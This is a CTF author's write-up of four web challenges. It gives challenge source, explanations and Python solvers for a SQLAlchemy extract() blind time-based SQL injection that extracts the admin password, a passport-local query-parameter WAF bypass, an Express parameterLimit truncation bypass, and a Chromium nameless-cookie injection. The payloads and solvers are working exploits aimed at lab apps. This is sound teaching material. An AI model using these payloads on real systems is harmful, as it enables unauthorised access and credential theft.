This is the first time I made challenges for ctf. I made the challenges in the following.
- SQL Alchemist
- Auth Delegation
- Parse Parse Parse
- Your Name
I apologize for troubles about my challenges. Next time, I will check carefully in production environment.
SQL Alchemist
The following is the challenge source code
app.py
import datetime
import os
import random
from flask import Flask, request, session, render_template, redirect
from sqlalchemy import create_engine, extract, select, Column, Integer, String, Date
from sqlalchemy.orm import DeclarativeBase, Session
MYSQL_USER = os.environ["MYSQL_USER"]
MYSQL_PASSWORD = os.environ["MYSQL_PASSWORD"]
MYSQL_DATABASE = os.environ["MYSQL_DATABASE"]
FLAG = os.environ["GZCTF_FLAG"]
engine = create_engine(f"mysql+mysqlconnector://{MYSQL_USER}:{MYSQL_PASSWORD}@db/{MYSQL_DATABASE}")
app = Flask(__name__)
app.config["SECRET_KEY"] = random.randbytes(32).hex()
class Base(DeclarativeBase):
pass
class User(Base):
__tablename__ = "user"
id = Column(Integer, primary_key=True)
username = Column(String(length=255), unique=True)
password = Column(String(length=255))
timestamp = Column(Date)
Base.metadata.create_all(bind=engine)
def add_user(username, password):
try:
with Session(engine) as session:
session.add(User(username=username, password=password, timestamp=datetime.datetime.now()))
session.commit()
return True
except:
return False
def find_user(username, password):
try:
with Session(engine) as session:
stmt = select(User)\
.where(User.username == username)\
.where(User.password == password)
user_data = session.scalars(stmt).one_or_none()
if not user_data:
return False
return user_data
except:
return False
@app.get("/")
def index():
if not session or not "username" in session.keys():
return render_template("home.html", is_authenticated=False)
username = session.get("username")
return render_template("home.html", user=username, is_authenticated=True)
@app.get("/login")
def get_login_page():
if not "message" in request.args.keys():
return render_template("login.html")
return render_template("login.html", message=request.args.get("message"))
@app.get("/register")
def get_register_page():
if not "message" in request.args.keys():
return render_template("register.html")
return render_template("register.html", message=request.args.get("message"))
@app.get("/flag")
def get_flag():
if not session or not "username" in session.keys():
return "not authenticated"
if session["username"] != "admin":
return "you are not admin"
return FLAG
@app.post("/login")
def login():
data = request.form
if not data:
return redirect("/login?message=data not found")
if not "username" in data.keys() or not "password" in data.keys():
return redirect("/login?message=username or password not found")
username = data.get("username")
password = data.get("password")
if not isinstance(username, str) or not isinstance(password, str):
return redirect("/login?message=invalid request")
user = find_user(username, password)
if not user:
return redirect("/login?message=invalid credentials")
session["username"] = user.username
return redirect("/")
@app.post("/register")
def register():
data = request.form
if not data:
return redirect("/register?message=data not found")
if not "username" in data.keys() or not "password" in data.keys():
return redirect("/register?message=username or password not found")
username = data["username"]
password = data["password"]
if find_user(username, password):
return redirect("/register?message=user already exists")
if not isinstance(username, str) or not isinstance(password, str):
return redirect("/register?message=invalid request")
if not add_user(username, password):
return redirect("/register?message=something went wrong")
return redirect("/login")
@app.post("/logout")
def logout():
if not session or not "username" in session.keys():
session.clear()
return redirect("/login")
@app.post("/info")
def show_user():
data = request.form
if not data:
return "data not found"
if not "username" in data.keys() or not "field" in data.keys():
return "username or field not found"
username = data.get("username")
field = data.get("field")
if not isinstance(username, str) or not isinstance(field, str):
return "invalid request"
try:
with Session(engine) as session:
user_data = session.query(
User.username,
extract(field, User.timestamp)
).where(User.username == username).first()
return str(user_data)
except Exception:
return "something went wrong"
def init():
if not add_user("admin", random.randbytes(16).hex()):
print("something went wrong during user init")
app.run(host="0.0.0.0", port=3000)
init()
Since admin can get flag, the goal is to login as admin. However, the admin password is randomized so leaking the admin password is needed. Looking at the source code, extract function is called when making a request to /info.
app.py
125@app.post("/info")
126def show_user():
127 data = request.form
128 if not data:
129 return "data not found"
130 if not "username" in data.keys() or not "field" in data.keys():
131 return "username or field not found"
132 username = data.get("username")
133 field = data.get("field")
134 if not isinstance(username, str) or not isinstance(field, str):
135 return "invalid request"
136
137 try:
138 with Session(engine) as session:
139 user_data = session.query(
140 User.username,
141 extract(field, User.timestamp)
142 ).where(User.username == username).first()
143 return str(user_data)
144 except Exception:
145 return "something went wrong"
Looking at documentation, it says the following.
This field is used as a literal SQL string. DO NOT PASS UNTRUSTED INPUT TO THIS STRING.
https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.extract
The source code of extract function is in the following.
https://github.com/sqlalchemy/sqlalchemy/blob/rel_2_0_43/lib/sqlalchemy/sql/compiler.py#L2939
2939 def visit_extract(self, extract, **kwargs):
2940 field = self.extract_map.get(extract.field, extract.field)
2941 return "EXTRACT(%s FROM %s)" % (
2942 field,
2943 extract.expr._compiler_dispatch(self, **kwargs),
2944 )
User input is used in EXTRACT statement without restrictions(including sanitizing) so it is possible to inject arbitary query. To see the output, change the source code like this.
app.py
138 with Session(engine) as session:
139 stmt = session.query(
140 User.username,
141 extract(field, User.timestamp)
142 ).where(User.username == username)
143 return str(stmt)
The output is in the following.
curl -XPOST http://localhost:3000/info -d 'username=admin&field=hoge'
SELECT user.username AS user_username, EXTRACT(hoge FROM user.timestamp) AS anon_1
FROM user
WHERE user.username = %(username_1)s
With these information, it is possible to escape from current statement like the following query.
YEAR FROM user.timestamp), YOUR QUERY HERE, EXTRACT(year
Solution
Here is solver
solve.py
import argparse
import requests
import string
def parse_args():
parser = argparse.ArgumentParser(conflict_handler="resolve")
parser.add_argument("-u", "--url", help="base url of the app", type=str, required=True)
return parser.parse_args()
def bruteforce(base_url, target_user, digit):
target_column = "password"
target_table = "user"
sleep_duration = 3
for c in string.ascii_letters + string.digits:
query = f"YEAR FROM user.timestamp), (SELECT 1 FROM (SELECT IF(SUBSTR((SELECT {target_column} FROM {target_table} WHERE username = '{target_user}'),{digit},1) = '{c}',sleep({sleep_duration}),0))x), EXTRACT(year"
try:
requests.post(base_url + "/info", headers={
"Content-Type": "application/x-www-form-urlencoded"
}, data={
"username": "admin",
"field": query
}, timeout=sleep_duration / 2)
except:
return c
return False
if __name__ == "__main__":
args = parse_args()
base_url = args.url
password_len = 32
username = "admin"
password = ""
for i in range(password_len):
c = bruteforce(base_url, username, i + 1)
if not c:
break
password += c
print(password)
print(f"password: {password}")
user = requests.Session()
user.post(base_url + "/login", headers={
"Content-Type": "application/x-www-form-urlencoded"
}, data={
"username": username,
"password": password
})
res = user.get(base_url + "/flag")
print(res.text)
python3 solve.py -u http://localhost:3000
a
ac
ac7
ac7d
ac7d8
ac7d84
ac7d84a
ac7d84ac
ac7d84acb
ac7d84acb9
ac7d84acb9e
ac7d84acb9ec
ac7d84acb9ecc
ac7d84acb9eccd
ac7d84acb9eccd7
ac7d84acb9eccd79
ac7d84acb9eccd793
ac7d84acb9eccd7933
ac7d84acb9eccd79332
ac7d84acb9eccd79332c
ac7d84acb9eccd79332c6
ac7d84acb9eccd79332c6d
ac7d84acb9eccd79332c6d9
ac7d84acb9eccd79332c6d92
ac7d84acb9eccd79332c6d926
ac7d84acb9eccd79332c6d926f
ac7d84acb9eccd79332c6d926f2
ac7d84acb9eccd79332c6d926f2a
ac7d84acb9eccd79332c6d926f2a9
ac7d84acb9eccd79332c6d926f2a97
ac7d84acb9eccd79332c6d926f2a97f
ac7d84acb9eccd79332c6d926f2a97fe
password: ac7d84acb9eccd79332c6d926f2a97fe
sknb{REDACTED}
Trivia
This extract function’s behavior can be found in certain databases. SQL Alchemy supports multiple databases, so each behavior is slightly different. For instance, SQLite’s extract function doesn’t allow SQL Injection since only the characters defined in extract_map are allowed.
1466 def visit_extract(self, extract, **kw):
1467 try:
1468 return "CAST(STRFTIME('%s', %s) AS INTEGER)" % (
1469 self.extract_map[extract.field],
1470 self.process(extract.expr, **kw),
1471 )
1472 except KeyError as err:
1473 raise exc.CompileError(
1474 "%s is not a valid extract argument." % extract.field
1475 ) from err
1419 extract_map = util.update_copy(
1420 compiler.SQLCompiler.extract_map,
1421 {
1422 "month": "%m",
1423 "day": "%d",
1424 "year": "%Y",
1425 "second": "%S",
1426 "hour": "%H",
1427 "doy": "%j",
1428 "minute": "%M",
1429 "epoch": "%s",
1430 "dow": "%w",
1431 "week": "%W",
1432 },
1433 )
Auth Delegation
The following is the challenge source code.
app/src/index.js
const crypto = require("crypto");
const express = require("express");
const session = require("express-session");
const passport = require("passport");
const app = express();
const port = 3000;
app.set("view engine", "ejs");
app.use(express.urlencoded(
{ extended: false }
));
app.use(session({
secret: crypto.randomBytes(64).toString("hex"),
resave: true,
saveUninitialized: false,
}));
app.use(passport.initialize());
app.use(passport.session());
app.use("/", require("./routes/index"));
app.listen(port, console.log(`app is running on port ${port}`));
app/src/routes/index.js
const express = require("express");
const passport = require("passport");
const LocalStrategy = require("passport-local").Strategy;
const router = express.Router();
const waf = (req, res, next) => {
const { username } = req.body;
if (!username) {
next();
return;
}
if (username === "admin") {
res.redirect("/login?message=admin%20detected");
return;
}
next();
}
passport.use(new LocalStrategy(
(username, password, done) => {
if (username === "admin" && password === "admin") {
return done(null, { username: "admin" });
}
return done(null, false);
}
));
passport.serializeUser((user, done) => {
done(null, user);
});
passport.deserializeUser((user, done) => {
done(null, user);
});
router.get("/", (req, res) => {
if (!req.user) {
res.redirect("/login");
return;
}
if (req.user.username === "admin") {
res.send(process.env.GZCTF_FLAG);
return;
}
res.send("no flag for you");
});
router.get("/login", (req, res) => {
const { message } = req.query;
res.render("login.ejs", {
message: message ? message : undefined,
});
});
router.post("/login",
waf,
passport.authenticate("local",
{
failureRedirect : "/login",
successRedirect : "/"
}
)
);
module.exports = router;
The goal is to get flag via logging in as admin. admin password is hardcoded in the source code.
app/src/routes/index.js
21passport.use(new LocalStrategy(
22 (username, password, done) => {
23
24 if (username === "admin" && password === "admin") {
25 return done(null, { username: "admin" });
26 }
27 return done(null, false);
28 }
29));
However, username admin is blocked by WAF.
app/src/routes/index.js
8const waf = (req, res, next) => {
9 const { username } = req.body;
10 if (!username) {
11 next();
12 return;
13 }
14 if (username === "admin") {
15 res.redirect("/login?message=admin%20detected");
16 return;
17 }
18 next();
19}
To log in as admin, the following situation is needed.
- waf sees username as something that is not admin
- web app sees username as admin
This web app uses Passport with LocalStrategy. Looking at the source of LocalStrategy, interesting code can be found.
https://github.com/jaredhanson/passport-local/blob/v1.0.0/lib/strategy.js#L71
97var username = lookup(req.body, this._usernameField) || lookup(req.query, this._usernameField);
LocalStrategy actually retrieves username from query parameter if there isn’t one in req.body. Since WAF is only looking at req.body.username and doesn’t throw an error when req.body.username is null, it is possible to bypass WAF.
Solution
Here is the solution.
solve.py
import argparse
import requests
def parse_args():
parser = argparse.ArgumentParser(conflict_handler="resolve")
parser.add_argument("-u", "--url", help="base url of the app", type=str, required=True)
return parser.parse_args()
args = parse_args()
base_url = args.url
ses = requests.Session()
ses.post(base_url + "/login?username=admin", headers={
"Content-Type": "application/x-www-form-urlencoded"
}, data="password=admin")
res = ses.get(base_url + "/")
print(res.text)
python3 solve.py -u http://localhost:3000
sknb{REDACTED}
Parse Parse Parse
The following is the challenge source code.
app/frontend/index.js
const express = require("express");
const fs = require("node:fs");
const app = express();
const port = 3000;
const backendBaseUrl = "http://localhost";
const waf = (mode) => {
if (mode) {
return mode === "admin";
}
return false;
}
app.use(express.urlencoded({
extended: false,
}));
app.get("/", async (req, res) => {
const html = fs.readFileSync("./views/home.html").toString();
res.send(html);
});
app.post("/", async (req, res) => {
if (waf(req.query.user)) {
res.send("no hacking");
return;
}
const url = backendBaseUrl + req.url;
const resp = await fetch(url);
res.send(await resp.text());
});
app.listen(port, () => {
console.log(`app is running on port ${port}`);
});
app/backend/src/index.ts
import { serve } from '@hono/node-server';
import { Hono } from 'hono';
const app = new Hono();
app.get('/', async (c) => {
const user = c.req.query("user");
if (!user) {
return c.text("invalid request");
}
if (user !== "admin") {
return c.text("this endpoint is only available to admin");
}
return c.text(process.env.GZCTF_FLAG || "sknb{REDACTED}");
});
serve({
fetch: app.fetch,
port: 80
}, (info) => {
console.log(`Server is running on http://localhost:${info.port}`);
});
The goal is to retrieve the flag by setting req.query.user to admin, however WAF is blocking it in frontend.
app/frontend/index.js
9const waf = (mode) => {
10 if (mode) {
11 return mode === "admin";
12 }
13 return false;
14}
In frontend, it uses Express. In Express, it is possible to set max parameter size with parameterLimit(default: 1000). When the size of parameter is over parameterLimit, it truncates the value after length over parameterLimit.
The issue here is that if I have a really long query param(over 1000) ie. test?ids[]=1&ids[]=2…, it will truncate the value after length over 1000. This is because the qs library has a default parameterLimit of 1000 which then it won’t parse any more value after. It seems in express body parser, this issue also exists but it returns an error if it is over a limit.
Since frontend has no null check on req.query.user, it is possible to bypass WAF.
Solution
Here is solver.
solve.py
import argparse
import requests
import urllib.parse
def parse_args():
parser = argparse.ArgumentParser(conflict_handler="resolve")
parser.add_argument("-u", "--url", help="base url of the app", type=str, required=True)
return parser.parse_args()
args = parse_args()
base_url = args.url
query = "?"
for i in range(1001):
query += f"dummy{i}=x&"
query += "user=admin"
res = requests.post(base_url + "/" + query)
print(res.text)
python3 solve.py -u http://localhost:3000
sknb{REDACTED}
Your Name
The following is the challenge source code.
app/src/index.js
const bodyParser = require('body-parser');
const express = require("express");
const app = express();
const port = 3000;
app.use(bodyParser.urlencoded({
extended: false,
}));
app.set("view engine", "ejs");
app.get("/report", (req, res) => {
res.render("report.ejs");
});
app.post("/report", async (req, res) => {
const { cookie } = req.body;
const resp = await fetch("http://bot:3000/", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: `cookie=${cookie}`,
});
res.send(await resp.text());
});
app.listen(port, console.log(`app is running on port ${port}`));
bot/src/index.js
const express = require("express");
const puppeteer = require("puppeteer");
const app = express();
const port = 3000;
app.use(express.urlencoded({
extended: false,
}));
const visit = async (cookie) => {
const whitelist = /^[a-zA-Z0-9=;\/]+$/
const cookies = cookie.split(";");
for (const pair of cookies) {
if (!whitelist.test(pair)) {
return "invalid cookie detected";
}
if (pair.startsWith("flag=")) {
return "invalid cookie detected";
}
}
const browser = await puppeteer.launch({
executablePath: "/usr/bin/chromium",
headless: true,
args: [
"--no-sandbox",
"--disable-gpu",
],
});
const context = await browser.createBrowserContext();
await context.setCookie({
domain: "localhost",
name: "flag",
value: "false",
});
const page = await context.newPage();
await page.setDefaultTimeout(20000);
try {
// for generating document
await page.goto("http://localhost:3000/flag");
// set cookie
await page.evaluate(c => document.cookie = c, cookie);
const res = await page.goto("http://localhost:3000/flag");
resp = await res.text();
await page.close();
await browser.close();
return resp;
} catch (e) {
await page.close();
await browser.close();
return "something went wrong";
}
}
app.post("/", async (req, res) => {
const { cookie } = req.body;
if (!cookie || typeof (cookie) !== "string") {
res.send("invalid cookie");
return;
}
const result = await visit(cookie);
res.send(result);
});
app.get("/flag", (req, res) => {
const cookieHeader = req.headers.cookie;
if (!cookieHeader) {
res.send("no cookies :(");
return;
}
for (const cookie of cookieHeader.split(";")) {
if (cookie === "flag=true") {
res.send(process.env.GZCTF_FLAG);
return;
}
}
res.send("no flag for you");
});
app.listen(port, () => {
console.log(`app is running on port ${port}`);
});
The goal is to set flag=true in bot’s cookie. However, WAF is blocking it.
bot/src/index.js
13 const whitelist = /^[a-zA-Z0-9=;\/]+$/
14 const cookies = cookie.split(";");
15 for (const pair of cookies) {
16 if (!whitelist.test(pair)) {
17 return "invalid cookie detected";
18 }
19 if (pair.startsWith("flag=")) {
20 return "invalid cookie detected";
21 }
22 }
WAF makes the following restrictions.
- only a-zA-Z0-9=;/ can be used
- starting with flag= is prohibited
In chromium browser, there is an issue with nameless cookie. Nameless cookie is the cookie that has no name.
=value
When the browser parses the following nameless cookie, interesting behavior happens.
Set-Cookie: =key=value
The browser sets the cookie to Cookie header removing the first = character.
Cookie: key=value
According to the latest versions of the rfc6265bis, nameless cookies are serialized without a leading =.
So it is possible to set flag to true with the following cookie.
=flag=true
However, flag cookie is already set by visit function.
bot/src/index.js
33 await context.setCookie({
34 domain: "localhost",
35 name: "flag",
36 value: "false",
37 });
To solve this, put Path attribute to respect user’s cookie.
- The user agent SHOULD sort the cookie-list in the following order:
* Cookies with longer paths are listed before cookies with
shorter paths.
Final cookie is as follows.
=flag=true;Path=/flag
Solution
Here is solver
solve.py
import argparse
import requests
def parse_args():
parser = argparse.ArgumentParser(conflict_handler="resolve")
parser.add_argument("-u", "--url", help="base url of the app", type=str, required=True)
return parser.parse_args()
args = parse_args()
base_url = args.url
res = requests.post(base_url + "/report", headers={
"Content-Type": "application/x-www-form-urlencoded"
}, data="cookie==flag=true;Path=/flag")
print(res.text)
python3 solve.py -u http://localhost:3000
sknb{REDACTED}